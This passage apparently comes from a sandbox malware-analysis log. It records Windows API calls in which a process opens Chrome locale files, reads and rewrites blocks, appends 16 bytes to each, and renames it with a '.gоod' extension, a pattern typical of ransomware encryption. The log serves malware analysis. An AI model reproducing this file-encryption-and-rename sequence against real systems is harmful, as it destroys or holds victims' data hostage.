(x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lv.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lv.pak.gоod")) returned 1 [0121.698] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", lpFilePart=0x0) returned 0x4c [0121.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0121.698] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ml.pak"), fInfoLevelId=0x0, lpFileInformation=0x35919c8 | out: lpFileInformation=0x35919c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b3fc04, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xb6502)) returned 1 [0121.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0121.698] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", lpFilePart=0x0) returned 0x4c [0121.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0121.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ml.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0121.699] GetFileType (hFile=0x20c) returned 0x1 [0121.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0121.699] GetFileType (hFile=0x20c) returned 0x1 [0121.699] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0121.699] ReadFile (in: hFile=0x20c, lpBuffer=0x3591de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3591de0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0121.700] CloseHandle (hObject=0x20c) returned 1 [0121.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", lpFilePart=0x0) returned 0x4c [0121.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0121.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ml.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0121.700] GetFileType (hFile=0x20c) returned 0x1 [0121.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0121.701] GetFileType (hFile=0x20c) returned 0x1 [0121.701] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0xb6502 [0121.701] WriteFile (in: hFile=0x20c, lpBuffer=0x35930c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35930c8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0121.702] CloseHandle (hObject=0x20c) returned 1 [0121.703] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", lpFilePart=0x0) returned 0x4c [0121.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0121.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ml.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0121.703] GetFileType (hFile=0x20c) returned 0x1 [0121.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0121.703] GetFileType (hFile=0x20c) returned 0x1 [0121.703] ReadFile (in: hFile=0x20c, lpBuffer=0x35953a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35953a8*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0122.575] CloseHandle (hObject=0x20c) returned 1 [0122.575] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", lpFilePart=0x0) returned 0x4c [0122.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0122.575] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ml.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0122.575] GetFileType (hFile=0x20c) returned 0x1 [0122.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0122.575] GetFileType (hFile=0x20c) returned 0x1 [0122.575] WriteFile (in: hFile=0x20c, lpBuffer=0x33daa18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x33daa18*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0122.575] CloseHandle (hObject=0x20c) returned 1 [0122.576] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", lpFilePart=0x0) returned 0x4c [0122.576] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak.gоod", lpFilePart=0x0) returned 0x51 [0122.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0122.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ml.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4545f5ad, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb6512)) returned 1 [0122.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0122.576] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ml.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ml.pak.gоod")) returned 1 [0122.577] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", lpFilePart=0x0) returned 0x4c [0122.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0122.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\mr.pak"), fInfoLevelId=0x0, lpFileInformation=0x348ad90 | out: lpFileInformation=0x348ad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b44a24, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8f98d)) returned 1 [0122.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0122.578] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", lpFilePart=0x0) returned 0x4c [0122.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0122.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\mr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0122.578] GetFileType (hFile=0x20c) returned 0x1 [0122.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0122.578] GetFileType (hFile=0x20c) returned 0x1 [0122.578] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0122.578] ReadFile (in: hFile=0x20c, lpBuffer=0x348b1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x348b1c8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0122.581] CloseHandle (hObject=0x20c) returned 1 [0122.581] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", lpFilePart=0x0) returned 0x4c [0122.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0122.581] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\mr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0122.581] GetFileType (hFile=0x20c) returned 0x1 [0122.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0122.581] GetFileType (hFile=0x20c) returned 0x1 [0122.581] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x8f98d [0122.581] WriteFile (in: hFile=0x20c, lpBuffer=0x3492d80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3492d80*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0122.583] CloseHandle (hObject=0x20c) returned 1 [0122.583] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", lpFilePart=0x0) returned 0x4c [0122.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0122.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\mr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0122.583] GetFileType (hFile=0x20c) returned 0x1 [0122.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0122.583] GetFileType (hFile=0x20c) returned 0x1 [0122.583] ReadFile (in: hFile=0x20c, lpBuffer=0x34969c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34969c0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0122.613] CloseHandle (hObject=0x20c) returned 1 [0122.613] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", lpFilePart=0x0) returned 0x4c [0122.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0122.613] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\mr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0122.613] GetFileType (hFile=0x20c) returned 0x1 [0122.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0122.613] GetFileType (hFile=0x20c) returned 0x1 [0122.613] WriteFile (in: hFile=0x20c, lpBuffer=0x3495718*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3495718*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0122.927] CloseHandle (hObject=0x20c) returned 1 [0123.182] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", lpFilePart=0x0) returned 0x4c [0123.207] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak.gоod", lpFilePart=0x0) returned 0x51 [0123.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0123.208] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\mr.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x457cc9d4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8f99d)) returned 1 [0123.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0123.208] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\mr.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\mr.pak.gоod")) returned 1 [0123.209] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", lpFilePart=0x0) returned 0x4c [0123.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0123.209] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ms.pak"), fInfoLevelId=0x0, lpFileInformation=0x3524e30 | out: lpFileInformation=0x3524e30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b49844, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x36184)) returned 1 [0123.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0123.209] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", lpFilePart=0x0) returned 0x4c [0123.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0123.209] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ms.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.209] GetFileType (hFile=0x768) returned 0x1 [0123.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0123.209] GetFileType (hFile=0x768) returned 0x1 [0123.209] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0123.209] ReadFile (in: hFile=0x768, lpBuffer=0x3525248, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3525248*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0123.211] CloseHandle (hObject=0x768) returned 1 [0123.211] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", lpFilePart=0x0) returned 0x4c [0123.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0123.211] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ms.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.211] GetFileType (hFile=0x768) returned 0x1 [0123.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0123.211] GetFileType (hFile=0x768) returned 0x1 [0123.211] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x36184 [0123.211] WriteFile (in: hFile=0x768, lpBuffer=0x35264e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35264e0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0123.212] CloseHandle (hObject=0x768) returned 1 [0123.213] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", lpFilePart=0x0) returned 0x4c [0123.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0123.213] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ms.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.213] GetFileType (hFile=0x768) returned 0x1 [0123.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0123.213] GetFileType (hFile=0x768) returned 0x1 [0123.213] ReadFile (in: hFile=0x768, lpBuffer=0x35287a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35287a0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0123.240] CloseHandle (hObject=0x768) returned 1 [0123.240] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", lpFilePart=0x0) returned 0x4c [0123.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0123.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ms.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.241] GetFileType (hFile=0x768) returned 0x1 [0123.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0123.241] GetFileType (hFile=0x768) returned 0x1 [0123.241] WriteFile (in: hFile=0x768, lpBuffer=0x35274f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x35274f8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0123.241] CloseHandle (hObject=0x768) returned 1 [0123.241] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", lpFilePart=0x0) returned 0x4c [0123.241] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak.gоod", lpFilePart=0x0) returned 0x51 [0123.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0123.241] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ms.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x45ac7acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x36194)) returned 1 [0123.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0123.241] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ms.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ms.pak.gоod")) returned 1 